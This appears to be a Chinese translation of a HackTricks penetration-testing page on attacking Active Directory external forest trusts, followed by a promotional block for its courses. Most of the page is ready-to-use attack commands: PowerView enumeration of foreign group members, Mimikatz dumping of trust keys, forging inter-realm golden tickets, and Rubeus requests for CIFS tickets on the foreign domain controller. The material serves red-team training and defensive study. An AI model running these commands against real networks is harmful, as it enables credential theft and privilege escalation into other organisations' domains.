# External Forest Domain - OneWay (Inbound) or bidirectional

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</details>

在这种情况下，外部域信任您（或彼此信任），因此您可以在其上获得某种访问权限。

## 枚举

首先，您需要**枚举**这种**信任**：

```powershell
Get-DomainTrust
SourceName      : a.domain.local   --> Current domain
TargetName      : domain.external  --> Destination domain
TrustType       : WINDOWS-ACTIVE_DIRECTORY
TrustAttributes :
TrustDirection  : Inbound          --> Inboud trust
WhenCreated     : 2/19/2021 10:50:56 PM
WhenChanged     : 2/19/2021 10:50:56 PM

# Get name of DC of the other domain
Get-DomainComputer -Domain domain.external -Properties DNSHostName
dnshostname
-----------
dc.domain.external

# Groups that contain users outside of its domain and return its members
Get-DomainForeignGroupMember -Domain domain.external
GroupDomain             : domain.external
GroupName               : Administrators
GroupDistinguishedName  : CN=Administrators,CN=Builtin,DC=domain,DC=external
MemberDomain            : domain.external
MemberName              : S-1-5-21-3263068140-2042698922-2891547269-1133
MemberDistinguishedName : CN=S-1-5-21-3263068140-2042698922-2891547269-1133,CN=ForeignSecurityPrincipals,DC=domain,
DC=external

# Get name of the principal in the current domain member of the cross-domain group
ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1133
DEV\External Admins

# Get members of the cros-domain group
Get-DomainGroupMember -Identity "External Admins" | select MemberName
MemberName
----------
crossuser

# Lets list groups members
## Check how the "External Admins" is part of the Administrators group in that DC
Get-NetLocalGroupMember -ComputerName dc.domain.external
ComputerName : dc.domain.external
GroupName    : Administrators
MemberName   : SUB\External Admins
SID          : S-1-5-21-3263068140-2042698922-2891547269-1133
IsGroup      : True
IsDomain     : True

# You may also enumerate where foreign groups and/or users have been assigned
# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.
```

在先前的枚举中发现用户\*\*`crossuser`**位于**`External Admins`**组内，该组在**外部域的DC**内具有**管理员访问权限\*\*。

## 初始访问

如果您在另一个域中找不到用户的**特殊**访问权限，您仍然可以返回AD方法论并尝试从未经特权处理的用户进行**权限提升**（例如，像kerberoasting这样的操作）：

您可以使用**Powerview函数**来使用`-Domain`参数枚举**其他域**，如下所示：

```powershell
Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName
```

## 冒充

### 登录

使用具有访问外部域权限的用户的凭据进行常规方法，您应该能够访问：

```powershell
Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator
```

### SID History Abuse

您还可以在跨森林信任中滥用[**SID History**](https://hacktricks.xsx.tw/windows-hardening/active-directory-methodology/sid-history-injection)。

如果用户从一个森林迁移到另一个森林，并且未启用**SID过滤**，则可以**添加来自另一个森林的SID**，并且在通过信任进行身份验证时，此**SID**将被**添加**到**用户的令牌**中。

{% hint style="warning" %}
作为提醒，您可以使用以下方式获取签名密钥

```powershell
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local
```

{% endhint %}

您可以使用**受信任**的密钥**签署**一个**冒充**当前域用户的TGT。

```bash
# Get a TGT for the cross-domain privileged user to the other domain
Invoke-Mimikatz -Command '"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'

# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:C:\path\save\ticket.kirbi /nowrap

# Now you have a TGS to access the CIFS service of the domain controller
```

### 完全模拟用户

```bash
# Get a TGT of the user with cross-domain permissions
Rubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap

# Get a TGT from the current domain for the target domain for the user
Rubeus.exe asktgs /service:krbtgt/domain.external /domain:sub.domain.local /dc:dc.sub.domain.local /ticket:doIFdD[...snip...]MuSU8= /nowrap

# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:doIFMT[...snip...]5BTA== /nowrap

# Now you have a TGS to access the CIFS service of the domain controller
```

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

* 你在**网络安全公司**工作吗？想要看到你的**公司在HackTricks中被宣传**吗？或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享你的黑客技巧**。

</details>
